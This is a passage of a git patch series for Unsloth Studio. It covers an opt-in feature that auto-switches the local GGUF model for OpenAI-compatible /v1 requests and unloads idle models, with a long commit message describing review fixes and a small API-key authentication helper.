a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py index 7a5080bd10..80641a17c3 100644 --- a/unsloth_cli/commands/studio.py +++ b/unsloth_cli/commands/studio.py @@ -461,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None: os.chmod(tmp_path, 0o600) except OSError: pass - with os.fdopen(fd, "w") as f: + with os.fdopen(fd, "w", encoding = "utf-8") as f: fd = -1 f.write(secret) os.replace(tmp_path, path) From 5211b506e1d59d647528631e03cef1cb43ccbf7d Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 1 Jul 2026 06:42:23 -0700 Subject: [PATCH 05/27] Studio: opt-in OpenAI /v1 model auto-switch and idle keep-warm (#6392) * Studio: opt-in OpenAI /v1 model auto-switch and idle keep-warm The OpenAI-compatible endpoints serve whichever GGUF is loaded and ignore the request model field, so an OpenAI client that changes model never reloads. Add an opt-in setting that, when a /v1 request names a downloaded local GGUF different from the loaded one, loads it before serving by reusing the existing /load path (its dedup, tensor fallback, and threading apply). Unknown names still serve the loaded model, so drop-in compatibility is preserved and no remote download is triggered. Also add an optional idle auto-unload (TTL keep-warm): a pure-ASGI middleware tracks in-flight inference requests so a stream is never unloaded mid-response, and a lifespan loop unloads the model after the configured idle seconds. Both settings default off and live in the app_settings store, exposed via GET/PUT /api/settings/openai-auto-switch. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: variant-aware auto-switch, /v1/responses coverage, keep-warm load stamp Follow-ups from review of the opt-in OpenAI auto-switch path: 1. Variant-aware dedup. _maybe_auto_switch_model compared only the repo id, so requesting another quant of the loaded repo (e.g. Q4_K_M loaded, Q8_0 asked) was served by the old quant. Compare hf_variant too, matching /load dedup. 2. Streaming /v1/responses now calls the auto-switch hook. It went straight into _responses_stream and only checked is_loaded, so stream=True could serve the old model or 400. Non-streaming already routed through chat completions; the hook is idempotent once loaded. 3. resolve_local_gguf tries an exact id match before splitting a trailing :VARIANT, so local ids that contain a colon (e.g. a Windows path) resolve instead of being cut at the drive letter. 4. Idle keep-warm stamps activity on a load/swap transition. _last_active was only refreshed by inference requests, so a model loaded after the server sat idle past the TTL could be unloaded before its first request. Tests cover each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: make the /v1/responses auto-switch test order-independent The new streaming-responses test passed in isolation but failed under the CI's randomized collection order with "object has no attribute 'state'": it passed a bare object() as the request and stubbed only one dispatcher, so an ordering where the real dispatcher ran hit request.state. Give the request a state and stub both dispatchers; the test still asserts the hook fires before dispatch. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: assert /v1/responses auto-switch wiring on source, not at runtime The behavioral version executed openai_responses and relied on stubbing its callees, which a randomized collection order in CI could defeat (the real dispatcher ran and hit request attributes). Assert on the function source that the hook precedes both dispatchers instead; the hook's runtime behavior is already covered by the direct _maybe_auto_switch_model tests. * Studio: auto-switch on /v1/embeddings, GGUF-only targets, idle-unload race gate Second-pass review follow-ups on the opt-in auto-switch path: 1. /v1/embeddings now calls the auto-switch hook before the loaded-state check, matching the other model-bearing OpenAI endpoints (the keep-warm middleware already treats embeddings as inference). 2. The resolver index is now GGUF-only. The local-model scanners also surface Transformers/safetensors repos; without a filter, auto-switch could unload the GGUF and route a request into the non-GGUF loader. _has_local_gguf checks a direct .gguf, a models-dir folder, and the HF-cache snapshots layout. 3. Idle keep-warm now holds an asyncio gate across the idle check and the unload, and a request bumps inflight under the same gate, so the loop can no longer unload in the window between "looks idle" and the kill. Tests cover each. Broader local-model source parity (LM Studio, Ollama, legacy caches, custom scan folders) is a follow-up; missing one of those today just falls through to the loaded model. * Studio: variant-aware local resolver, count_tokens + audio auto-switch coverage Third-pass review follow-ups on the opt-in auto-switch path: 1. The resolver is now variant-aware via list_local_gguf_variants. It indexes only the quants actually on disk, recursing snapshots and quant subdirs such as the nested per-quant folders, so a requested repo:VARIANT resolves only when that quant is local and a bare repo resolves to a concrete local quant. This fixes two gaps: the previous shallow glob rejected nested-variant GGUF repos, and a request for an uncached quant could send /load down the remote download path, breaking the local-only contract. 2. /v1/messages/count_tokens now auto-switches like its sibling /v1/messages, so a count uses the requested model's tokenizer. 3. /api/inference/audio/generate (direct GGUF TTS) is now tracked as in-flight inference, so the idle loop cannot unload the model mid-generation. Tests cover each. Two reviewer items are left as follow-ups: indexing the remaining local sources (LM Studio, Ollama, legacy/default caches, custom scan folders), which fails safe today by falling through to the loaded model; and fully serializing concurrent different-model requests, an inherent limit of the single-slot llama backend that the opt-in feature is not designed around. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: make local GGUF resolver fail-safe so a bad model name cannot 500 The auto-switch hook calls resolve_local_gguf without its own guard, and /v1/completions and /v1/embeddings pass body.get("model") through unchanged. A non-string model (e.g. {"model": 123}) or any internal scan failure would then raise out of the resolver and turn a request that would otherwise be served by the loaded model into a 500, breaking the drop-in compatibility the feature is built on. Guard the resolver at its boundary: reject non-string input up front and wrap the lookup so any failure returns None (fall through to the loaded model). Add regression tests for both paths. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: per-model launch flags for auto-switched GGUF models * Studio: list switch-eligible GGUFs in /v1/models when auto-switch is on * Studio: settings UI for OpenAI model auto-switch and idle auto-unload * Studio: show save error over the disabled-idle hint in auto-switch settings * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: address gemini review (case-insensitive /v1/models retrieve, idle-input empty guard) * Studio: address codex review (deterministic override args, exclude probe/embedding models from discovery) * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep-warm count_tokens, gate idle on auto-switch, drop hidden models Three hardening fixes to the opt-in auto-switch path surfaced while reviewing the work that builds on it: 1. count_tokens keep-warm. /v1/messages/count_tokens counts via the loaded tokenizer and already auto-switches, but the keep-warm middleware did not track it, so idle auto-unload could free the model mid-count. It is now a tracked in-flight path. 2. "Off means unchanged" for idle unload. get_auto_unload_idle_seconds now reports 0 while auto-switch is disabled. Idle unload only makes sense with auto-switch on (an unloaded model returns only via the next request's swap), so a stray TTL can no longer trigger a destructive unload while the feature is off, keeping the disabled state identical to pre-feature behavior. 3. Hidden models are not switch targets. The resolver index now skips what Studio hides from its own pickers (the llama.cpp validation probe, RAG embedding weights) via _is_hidden_model, so they can never be auto-switched to by name. Tests added for each. * Studio: bare-id reuse, responses validation order, in-flight tracking Review follow-ups after folding in the per-model overrides and discovery work: 1. A bare model id (no :VARIANT) is now satisfied by any loaded quant of that repo. Previously a bare name resolved to the largest local quant, so it could force a slow reload when a different quant of the same repo was already serving. An explicit repo:VARIANT request still honors the quant. 2. /v1/responses now runs the auto-switch hook after the empty-input validation so a request that 400s can no longer trigger a multi-minute model load before being rejected. The hook still precedes both dispatchers, so streaming requests switch. 3. The keep-warm middleware now tracks in-flight requests whenever auto-switch is enabled rather than only when the idle TTL is already positive, so a stream that starts with the TTL at 0 is still protected if idle-unload is enabled mid-stream. Off still passes straight through. Tests added for each. * Studio: tighten auto-switch code comments Comment/docstring-only pass over the OpenAI auto-switch feature: collapse multi-line blocks, drop a comment that restated the gate it sits next to, and trim verbose docstrings on internal helpers while keeping the load-bearing rationale (concurrency, API behavior, drop-in compat, gotchas). No logic change: verified comment-only with the AST/printer signature check. * Studio: bind auto-switch locks per running loop Review follow-up. The auto-switch swap lock and the keep-warm unload gate were module-level asyncio.Lock objects. That is safe under the single uvicorn loop and on Python 3.10+ (the Lock resolves the running loop lazily on acquire), but a module-level Lock binds to one loop on pre-3.10, which can raise a loop mismatch in multi-loop runners. Resolve each lock through a per-loop accessor backed by a WeakKeyDictionary so every running loop gets its own Lock and stale loops are collected. No behavior change under the server's single loop. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: auto-switch re-review fixes (body codes, coverage, swap, alias, tracking) Follow-ups from a second review pass over the opt-in OpenAI auto-switch feature: 1. OFF-state status codes: /v1/completions and /v1/embeddings moved the body read ahead of the loaded-state check, so a malformed/empty body with no model loaded returned 500 instead of the prior 503. A shared helper reads the body defensively (an unparseable/non-dict body yields no model), and the handler re-reads after the 503 gate to surface the original parse error exactly as before. OFF behavior is unchanged. 2. Local-model coverage: the resolver index only scanned ./models and the active HF cache, while the model picker also lists the legacy/default HF caches, LM Studio dirs, and user scan folders. A request for one of those named models silently served the loaded model instead. _build_index now scans the same roots (Ollama's symlink-creating scanner is skipped on the request path), and resolution is offloaded with asyncio.to_thread so the wider scan never blocks the event loop. 3. Swap vs in-flight stream: a cross-model swap killed the llama-server while another client was still streaming from it. The hook now tracks how many requests are streaming on the loaded model (in-flight minus those still inside the hook) and returns 409 instead of swapping while one is active. Concurrent same-model requests never reach this path, so they are unaffected. 4. Idle-unload + alias: after idle-unload freed the model, an unknown/alias name resolved to nothing and 503'd, though it served the active model before the TTL. Idle-unload now remembers the freed id and an alias request reloads it (only an already-local model, so no remote download), cleared once a model is loaded again. 5. In-flight tracking: the keep-warm middleware tracked in-flight only while the feature was on, so a stream started while off could be unloaded if idle-unload was enabled mid-stream. It now tracks on every inference path; counting is cheap and invisible to clients. Tests added for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Remove stray async_task_outputs files committed by mistake * Studio: auto-switch review round 3 (revert swap guard, hardening) Addressing a third review pass: - Revert the cross-model swap guard. It counted keep-warm in-flight (which includes external-provider calls that never touch the local model) and so could 409 a local swap spuriously, and it still left a same-model request able to start streaming on the model a concurrent swap was unloading. A correct fix needs a request-lifetime reader/writer barrier; a partial guard was worse than the honest single-slot behavior, so concurrent different-model use is back to being serialized (documented), like llama-swap's single slot. - Non-string request model (e.g. {"model": 123} on a raw-body endpoint) is now treated as absent, so it falls through instead of raising in the membership checks once an idle-unload stash exists. - Idle-unload now stashes and replays the freed quant: an alias reload restores the exact (id, variant) that was freed rather than the largest local quant. - Anthropic /v1/messages validates max_tokens before the auto-switch hook, so a request that 400s never triggers a model load. - Keep-warm tracks a pending count for requests waiting on the unload gate, so the idle loop cannot unload the model out from under a request that is blocked on the gate but not yet counted as in-flight. - The idle-unload task is awaited after cancel on shutdown to avoid pending-task warnings. - The resolver's HF cache scan is None-safe and logs at debug instead of letting a bad root abort the whole index build. - upsert_app_setting_map_entry rolls back explicitly on error. Tests updated/added for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep saved idle-unload seconds when auto-switch is toggled off * Studio: auto-switch hardening (thread-safe lock maps, body validation) Defensive fixes from review: - Guard the per-loop WeakKeyDictionary get-or-create for both the unload gate and the auto-switch lock with a threading lock, since WeakKeyDictionary mutation is not thread-safe when two event loops run on different threads. - Build the resolver index under the cache lock so concurrent callers with an expired cache don't all run the multi-dir scan at once. - /v1/completions and /v1/embeddings return a clean 400 for a valid JSON body that is not an object (e.g. a list), instead of a 500 from body.get(...). - The keep-warm middleware only tracks POST requests (inference is always POST), so CORS preflight (OPTIONS) is not counted, and tolerates a None path. Tests added for the list-body 400 and the non-POST skip. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: auto-switch review round 4 (local-path load, swap guard, idle fixes) From a 10-reviewer pass: - HF-cache entries now load by a concrete local path, not the bare repo id. The resolver records a load_path (the snapshot dir for a models--* cache repo, the file/dir otherwise) so /load takes the local branch and can never trigger a download to satisfy a partial cache. The advertised loader_id (repo id) is kept as the launch-override key. resolve_local_gguf now returns (load_path, variant, loader_id). - Re-add a single-slot swap guard: a cross-model swap returns 409 model_switch_busy while another inference request is active rather than killing its stream (the caller is excluded from the count), and holds the keep-warm gate across the load so no new inference starts mid-swap. Concurrent same-model requests never reach this path. A residual spurious 409 is possible while a concurrent or external- provider request is active; that is the documented single-slot tradeoff. - Idle keep-warm tracks (model_identifier, hf_variant): reloading the same repo at a different quant counts as a fresh model, so it is not unloaded before one TTL. - Track Studio's own /api/inference/generate/stream so the idle loop can't unload the model mid-stream on that route. - A successful manual /load clears the idle-unload reload stash synchronously, not only on the next idle poll. Also merged origin/main (the branch had fallen behind, which would have reverted unrelated files on merge). Tests added/updated for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: auto-switch review round 5 (concurrency, identity, load gate) From a 10-reviewer pass (9 request-changes, 1 approve): - Concurrent same-target requests load once instead of each returning 409. The count-based busy guard could not tell "another request wants the same model" (safe, load once) from "another request is using the loaded model" (refuse). Track in-flight auto-switch requests per (target, variant) and subtract same-target waiters from the busy count; a cross-model swap still 409s while a genuinely different request is active. - Fix the identity confusion introduced when round 4 began loading by concrete local path: the backend identifier became a filesystem path. Record the advertised repo id on the backend after an auto-switch load and use it so (a) a model loaded manually by repo id is recognized as already serving (no spurious reswap/409), (b) /v1/models reports the repo id, never a host path or a duplicate, and (c) the idle-unload stash keeps the override keyed by the repo id, so an alias reload after TTL keeps the user's saved launch flags. - Gate the manual /load route with the keep-warm lifecycle gate so idle auto-unload can't unload a model mid-load. load_model now wraps _load_model_impl in the gate; auto-switch calls _load_model_impl directly since it already holds the gate. - Restore default-off parity on Anthropic /v1/messages: an unloaded backend with auto-switch disabled 503s before the max_tokens 400 check, as it did pre-feature. When the feature is on, request-shape validation still runs before any load. Tests added for each; full backend suite diff vs baseline is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: auto-switch review round 6 (concurrency ordering, leaks, unload gate) From a second 10-reviewer pass (8 request-changes, 2 approve): - Same-target concurrency: register a waiter by the raw requested model before the (slow) resolve, and exclude pending requests from the swap busy count. The middleware counts a concurrent same-model request as in-flight before it resolves and joins the resolved-target waiter map, so the prior fix could still 409 it. The guard now subtracts max(same resolved-target, same raw-request) waiters and ignores pending (a pending request is blocked in the middleware, not generating, so a swap can't interrupt it). - External-provider requests no longer block a local swap. The keep-warm middleware counts every inference-path POST, but external-provider chat returns before the auto-switch hook and never touches the local GGUF. The chat handler now untracks itself before proxying, so its in-flight stream can't trip model_switch_busy on a concurrent local auto-switch. The middleware skips its own end-decrement for an untracked request. - Manual /unload is gated like load and idle-unload: it holds the lifecycle gate and returns 409 rather than tearing down llama-server while an inference request is in flight. - Response model id no longer leaks the load path. /v1/models already advertised the repo id; chat, completions, embeddings, Anthropic messages, and audio response bodies now use the same _llama_public_model_id helper instead of the concrete on-disk model_identifier. - Chat completions validates the non-system-message requirement before the auto-switch hook (as /responses and /messages already do), so an invalid request can't swap the resident model before returning 400. Tests added for each; full backend suite diff vs baseline is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: auto-switch review round 7 (teardown policy, Unsloth-active swap, training) From a third 10-reviewer pass (9 request-changes, 1 approve), all on the same asymmetric-teardown theme. Resolved per the intended policy that only automatic paths defer to an active stream; deliberate user actions stay interrupting: - Revert the manual /unload in-flight guard added last round. A manual /load or /unload is a deliberate action and tears down immediately, as before; only the automatic idle-unload loop and auto-switch defer to an active request. This removes the asymmetry the reviewers flagged (manual /load, the /unload Unsloth branch, and the opposite-backend swaps inside _load_model_impl) by not extending the guard to deliberate paths, rather than spreading it. - Auto-switch now refuses a swap whenever another inference request is in flight, not only when a GGUF is already loaded. _load_model_impl also unloads an active Unsloth/transformers backend before loading a GGUF, so the busy guard must cover that case too; otherwise an Unsloth stream could be killed by an auto-switch. - Refuse API-initiated training while inference is active. When Studio is driven as an inference API (sk-unsloth key auth), POST /api/training/start returns 409 if a request is in flight, since training frees VRAM by unloading the chat model and would kill the stream. The Studio UI (session auth) still starts training and coexists/frees VRAM as before. A mixed UI+API session is not yet special-cased. Adds auth.authentication.authenticated_via_api_key. Tests added/updated for each; full backend suite diff vs baseline is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: add UNSLOTH_MODEL_IDLE_TTL env override for idle-unload Borrowed from PR 6517: a startup env var that sets the idle-unload TTL without the settings UI. Unlike the stored setting (gated on auto-switch), the env value is a standalone default that enables idle-unload even with auto-switch off, for headless/container deploys. An explicit UI/API value still overrides it and stays gated. The settings GET reflects the env default when nothing is stored. * Studio: auto-switch fixes from review (paths, embeddings input, env idle reload) - /v1/models advertises a client-facing alias instead of a filesystem path: the ./models and LM Studio scanners report the on-disk path as the model id, so the index now prefers model_id/display_name as the advertised/override id and keeps the concrete path internal as load_path, still resolvable by path. - /v1/embeddings validates input before auto-switch: a request with a model but no input now 400s before the hook (like chat/responses/messages), so an invalid embeddings request cannot unload or swap the resident model. - Standalone UNSLOTH_MODEL_IDLE_TTL reloads the freed model: the hook now runs when auto-switch or idle-unload is active, and with auto-switch off it skips the resolver and only restores the idle-unloaded model, so the first idle timeout no longer leaves later /v1 requests with nothing loaded. - Do not resurrect a stale GGUF over an active Unsloth model: the reload-stash path bails when a non-GGUF backend is loaded, so an unknown /v1 name cannot tear down a live Transformers/Unsloth model. - Defensive HF cache scan: each cache root's resolve/dedup is wrapped so a missing or malformed root skips that root rather than aborting the index. - Single-model retrieve checks the id is a string before lowercasing. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: fix automatic-load asymmetry, audio reload, preview, idle timer The standalone UNSLOTH_MODEL_IDLE_TTL reload is a second automatic-load trigger, but several validate-before-switch guards and reload hooks only checked the auto-switch toggle. Add a shared _automatic_model_load_may_run() (auto-switch on, or idle TTL > 0) and route every guard through it. - /v1/completions validates prompt before any automatic load (it was the one model-bearing route with no pre-check). - /v1/chat/completions and /v1/embeddings pre-checks gate on the shared predicate so a standalone idle TTL cannot reload then reject. - /v1/messages no longer 503s before the reload hook can restore an idle-freed model when auto-switch is off. - Raw completions/embeddings with no model field pass a non-empty sentinel so the idle-stash reload runs, restoring the legacy "omit model, use loaded" path. - /api/inference/audio/generate gains the reload hook (after message validation) so an idle-freed audio GGUF is restored. - Public preview opts out of auto-switch via a request-scope flag, so a caller's model field cannot swap away from the pinned checkpoint; preview chat streams are now matched by _is_inference_path so idle-unload cannot kill them. - Keep-warm no longer stamps activity on request start, and external-provider untracking decrements without restamping, so periodic external traffic can no longer keep the local GGUF warm forever. Merges origin/main (the branch had fallen behind, which also brought in the preview route the review flagged). * Studio: surface model auto-switch in the API tab and demo it in examples The OpenAI auto-switch toggle previously lived only in Settings -> General. Add the same toggle to the API tab's usage-examples panel (it shares the settings cache), and make the examples reflect it: when on, the Python examples append a second call naming a different downloaded GGUF (so the model field visibly selects which model serves), and the curl examples gain a one-line note. Reuses the existing settings API client and i18n keys. * Studio: harden OpenAI auto-switch reload-only path and Anthropic tool validation - Omitted-model raw-body requests pass a reload-only sentinel so the idle-stash reload still restores an idle-freed model, but the resolver never matches a downloaded GGUF literally named "default". - Reject malformed Anthropic client tools before _maybe_auto_switch_model so an invalid request can no longer evict the loaded model. * Studio: extend auto-switch reload-only and tool validation to schema endpoints - Schema-backed endpoints (chat completions, responses, count_tokens, messages, audio) defaulted an omitted model to "default" and passed it to the switch hook, so a downloaded GGUF named "default" could be swapped to. Route the hook through a helper that switches only on an explicitly set model, else reload-only. - Propagate the explicit-set status when building the chat request from a Responses request, so the non-streaming chat re-check stays reload-only too. - Validate Responses function tools before the switch hook so a malformed tool returns 400 without evicting the loaded model. * Studio: serialize auto-switch swaps across event loops with a process-wide gate The auto-switch lock is a per-event-loop asyncio.Lock, so two /v1 swaps on different loops in one process could both pass it and race the single model slot (the backend and _load_model_impl are process-wide). Add a process-wide threading gate around the swap, acquired off the loop so a cross-loop wait never blocks it, layered with the existing per-loop lock. Add a cross-loop test that fails without the gate (two slow loads overlap) and passes with it. * Studio: make the auto-switch swap gate wait cancellation-safe _acquire_swap_gate awaited asyncio.to_thread(lock.acquire) when another loop held the process-wide gate. to_thread cancellation doesn't stop the worker thread, so a /v1 request cancelled mid-wait (client disconnect during a cross-loop swap) would have its thread acquire the gate after the fact, while the finally that releases it never runs -- permanently deadlocking later auto-switch swaps. Poll a non-blocking acquire off a short asyncio.sleep instead: it still keeps the wait off the loop and serializes across loops, but a cancel now lands during the sleep, when the gate is not held, so nothing leaks. Add a test that deadlocks the to_thread variant (it times out) and passes with the poll. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: validate modality and tool-confirmation before auto-switch Two more request shapes could load a named GGUF and only then 400, evicting the resident model: - An image request naming a different text-only GGUF. The switch hook now takes require_vision and rejects a swap to a non-vision target before loading it; a GGUF's vision capability is its companion mmproj, knowable without a load, and matches the post-load guard. Only the resolver branch is checked, never the reload-stash restore. - confirm_tool_calls=true with stream=false and local tools. /v1/chat/completions now rejects that shape before the hook, mirroring the local tool path's bypass_permissions exemption and intent signal. The vision probe threads the ambient HF token to keep the capability-probe invariant. Reload-only and idle-reload paths are unaffected. * Studio: extend validate-before-switch and make the lifecycle gate process-wide - /v1/messages/count_tokens now rejects malformed client tools before the switch hook, like /messages (shared _validate_anthropic_client_tools helper), so a count request can't evict the loaded model. - /v1/chat/completions rejects a malformed tool_choice forcing object (a {"type":"function","function":{}} with no name) before the switch hook. - The inference lifecycle gate that blocks new inference during a swap is now process-wide (a poll-acquired threading lock, cancellation-safe), not a per-loop asyncio lock, so a request on another event loop can't start inference while a swap tears the single backend down. - Usage examples no longer hard-code a switch-demo repo most users lack; the model is an explicit placeholder the user replaces. * Studio: extend the auto-switch modality guard to /v1/responses and /v1/messages The pre-load vision check that guards /v1/chat/completions now also runs on /v1/responses and /v1/messages, so an image request naming a text-only GGUF is rejected before the swap and never evicts the resident vision model. Run the vision capability probe off the event loop. Make the /v1/models retrieve loaded fast-path case-insensitive, and never advertise a host path from the resolver. Remove the dead list_switch_eligible_ids helper, superseded by the /v1/models catalog. * Studio: filter /v1/models to GGUF, per-loop catalog lock, reject system-only Responses Address review findings on the auto-switch path: - /v1/models advertises only GGUF models the API can actually switch to; a safetensors/LoRA entry would be selectable but never loadable via llama.cpp. - The /v1/models catalog cache uses a per-loop lock (like the auto-switch path) so a second event loop awaiting it can't hang in a multi-loop process. - /v1/responses rejects system/developer-only input before the switch, mirroring chat, so an invalid request can't evict the resident model. - _build_index guards each scan source on its own so one bad root drops only that source; the vision probe logs a real detection failure instead of swallowing it. * Studio: list cached GGUFs in /v1/models by inspecting files, not model_format The HF-cache scanner leaves model_format unset for GGUF snapshots, so the previous model_format == "gguf" filter dropped every downloaded HF-cache GGUF from /v1/models and the retrieve fallback. Decide GGUF-ness from the on-disk files via the resolver (info_has_local_gguf) instead, run off the event loop, so the catalog advertises exactly what /v1 can serve. * Studio: fix /v1/messages/count_tokens route binding plus auto-switch review fixes The @router.post decorator for /messages/count_tokens had been separated from anthropic_count_tokens by the _validate_anthropic_client_tools helper, so the route bound to the validator and dropped its auth dependency. Move the decorator back onto the handler. Add route-binding tests asserting each /v1 endpoint maps to its handler with the auth dependency, so a decorator/handler split is caught at the route level (the direct-call tests missed it). Also from review: - update_openai_auto_switch writes both settings keys in one transaction so a PUT can't leave one updated and the other stale (drop the now-unused single setters). - max_seq_length override rejects 0 at the boundary (ge=1) instead of accepting then silently dropping it. - Document that embeddings auto-switch is best-effort: GGUF pooling has no cheap pre-load probe like vision's mmproj, so a guard would false-reject GGUF embedders. - Add a positive idle-unload test (loop frees the model and stashes it for reload). * Studio: validate Responses tool_choice + Anthropic mixed tools before switch, filter Ollama from catalog More auto-switch review findings: - /v1/responses rejects a forcing-function tool_choice with no name before the switch, mirroring chat, so a malformed request can't evict the resident model. - /v1/messages rejects mixing Anthropic server tools with custom client tools before the switch (the check depends only on the payload, so it moves up cleanly). - /v1/models no longer advertises Ollama-link models: info_has_local_gguf excludes .studio_links / ollama_links entries, which the resolver skips and can't switch to, so an advertised id never silently falls through. * Studio: guard chat audio input before switch; surface env-backed idle unload in settings UI A chat request carrying audio_base64 rides the same companion mmproj projector as a vision request, so a text-only target cannot serve it either. Flag require_vision for audio input as well so the multimodal probe runs before the switch and a rejected request never evicts the working model. Generalize the reject message to cover image and audio. The settings response now reports idle_unload_active (effective TTL > 0) so the UI can distinguish idle-unload that is active via the UNSLOTH_MODEL_IDLE_TTL env var from the case where it needs the toggle enabled. * Studio: harden auto-switch eviction guards (count_tokens vision, TTS reload-only, mmproj/stash) Four eviction/correctness fixes on the opt-in /v1 auto-switch path: - /v1/messages/count_tokens now carries the same require_vision guard as /messages, so an image count naming a text-only GGUF can't evict a loaded vision model for a swap that can't serve the request. - /audio/generate is now reload-only. A local GGUF's audio-input capability is not a cheap pre-load probe (the companion mmproj signal can't tell an audio projector from a vision one, and codec TTS ships no projector), so resolving the client model could load a text/vision-only target and evict the working audio model before the audio check fails. Only the idle-stash restore runs here; switching TTS models is an explicit /load. - The resolver no longer treats a standalone mmproj .gguf as a servable model. _scan_models_dir's standalone-file pass does not filter mmproj the way its directory scan does, so /v1/models could advertise a projector and a switch could load it over the real weights. - A non-GGUF (Transformers/Unsloth) load and a deliberate /unload now clear the idle reload stash, so a manual load/unload is never superseded by a stale idle-freed GGUF that the next /v1 request resurrects. * Studio: report advertised repo id consistently after an auto-switch Two model-id reporting fixes so an auto-switched cached HF GGUF is named by its repo id everywhere, not its snapshot path: - Streamed /v1/responses envelopes now derive the model id from _llama_public_model_id (which prefers _openai_advertised_id) instead of the raw model_identifier. After an auto-switch the identifier is the snapshot path while the repo id lives in _openai_advertised_id, so the stream used to report a snapshot basename while /v1/models, chat completions, and non-streaming Responses all reported the repo id. - When an advertised alias already resolves to the loaded model (a model loaded by local path, requested by its repo or LM Studio id), the already-serving early return now records the alias as the advertised id, so /v1/models and responses report the alias and mark it loaded instead of the path-derived basename. Resolver branch only; safe lock-free because an in-flight request blocks any concurrent swap via the single-slot busy guard. * Studio: validate request shapes before auto-switch (prompt/input/audio/mcp confirm) Four more validate-before-switch guards so a deterministic client error never evicts the resident model on the opt-in /v1 auto-switch path: - /v1/completions rejects an object/number prompt (only a string or array is valid) before the switch, instead of loading the named GGUF and letting llama-server reject the shape afterward. - /v1/embeddings rejects an object/number input the same way. - Chat rejects an oversized audio_base64 upload (413) before the switch. The size cap is a cheap, target-independent length check; the decode itself stays post-switch to avoid decoding a valid upload twice. - The chat confirm-without-stream pre-switch guard now mirrors the tool loop's actual enablement: _effective_enable_tools (honoring a CLI --enable-tools policy) and mcp_enabled (which opens the tool loop on its own but defers to a CLI --disable-tools policy). Previously a confirm+no-stream request with only mcp_enabled slipped past and 400'd after the swap. * Studio: fix model-id retrieval, streaming n>1, resolver cache TTL, keep-warm auth Four fixes from review: - GET /v1/models/{id} legacy raw-path fallback now maps the raw identifier to the same public id its /v1/models entry uses. After an auto-switch load the identifier is the snapshot path while the entry is keyed by the advertised repo id, so a client that cached the old absolute path no longer 404s on a model that is in fact loaded. - stream=true with n>1 is now rejected before the switch. Only the non-streaming GGUF path returns multiple choices, so streaming n>1 is invalid on every local serving path; both fields are known pre-switch, so it must not load model B only to 400 and evict model A. Non-streaming n>1 stays post-switch where the serving path decides. - The resolver index cache is stamped after _build_index, not with the pre-scan timestamp. On installs with enough local models for the multi-root scan to exceed the 5s TTL, the cache was stored already expired and every request rebuilt it. - The keep-warm middleware no longer stamps model activity for 401/403 responses. It runs before FastAPI auth, so unauthenticated probes used to refresh the idle timer without touching llama.cpp; they now decrement the in-flight count without keeping the model warm. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com> --- studio/backend/auth/authentication.py | 11 + .../backend/core/inference/llama_keepwarm.py | 298 ++ .../core/inference/local_model_resolver.py | 269 ++ studio/backend/main.py | 18 + studio/backend/routes/inference.py | 930 ++++- studio/backend/routes/preview.py | 9 +- studio/backend/routes/settings.py | 101 + studio/backend/routes/training.py | 22 +- studio/backend/storage/studio_db.py | 37 + .../backend/tests/test_openai_auto_switch.py | 3039 +++++++++++++++++ studio/backend/tests/test_openai_catalog.py | 30 +- .../utils/openai_auto_switch_settings.py | 180 + .../settings/api/openai-auto-switch.ts | 89 + .../components/model-auto-switch-section.tsx | 165 + .../settings/components/usage-examples.tsx | 135 +- .../features/settings/tabs/general-tab.tsx | 3 + studio/frontend/src/i18n/locales/en.ts | 16 + 17 files changed, 5243 insertions(+), 109 deletions(-) create mode 100644 studio/backend/core/inference/llama_keepwarm.py create mode 100644 studio/backend/core/inference/local_model_resolver.py create mode 100644 studio/backend/tests/test_openai_auto_switch.py create mode 100644 studio/backend/utils/openai_auto_switch_settings.py create mode 100644 studio/frontend/src/features/settings/api/openai-auto-switch.ts create mode 100644 studio/frontend/src/features/settings/components/model-auto-switch-section.tsx diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index 9dd56489eb..b13cd1c851 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend ) +async def authenticated_via_api_key( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> bool: + """True when the caller used an sk-unsloth API key, not a UI session JWT. + + Lets routes treat programmatic API callers differently from the Studio UI + (e.g. refuse a teardown the UI would allow). + """ + return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX)) + + async def get_current_subject_allow_password_change( credentials: HTTPAuthorizationCredentials = Depends(security), ) -> str: diff --git a/studio/backend/core/inference/llama_keepwarm.py b/studio/backend/core/inference/llama_keepwarm.py new file mode 100644 index 0000000000..4ce663c3ce --- /dev/null +++ b/studio/backend/core/inference/llama_keepwarm.py @@ -0,0 +1,298 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the 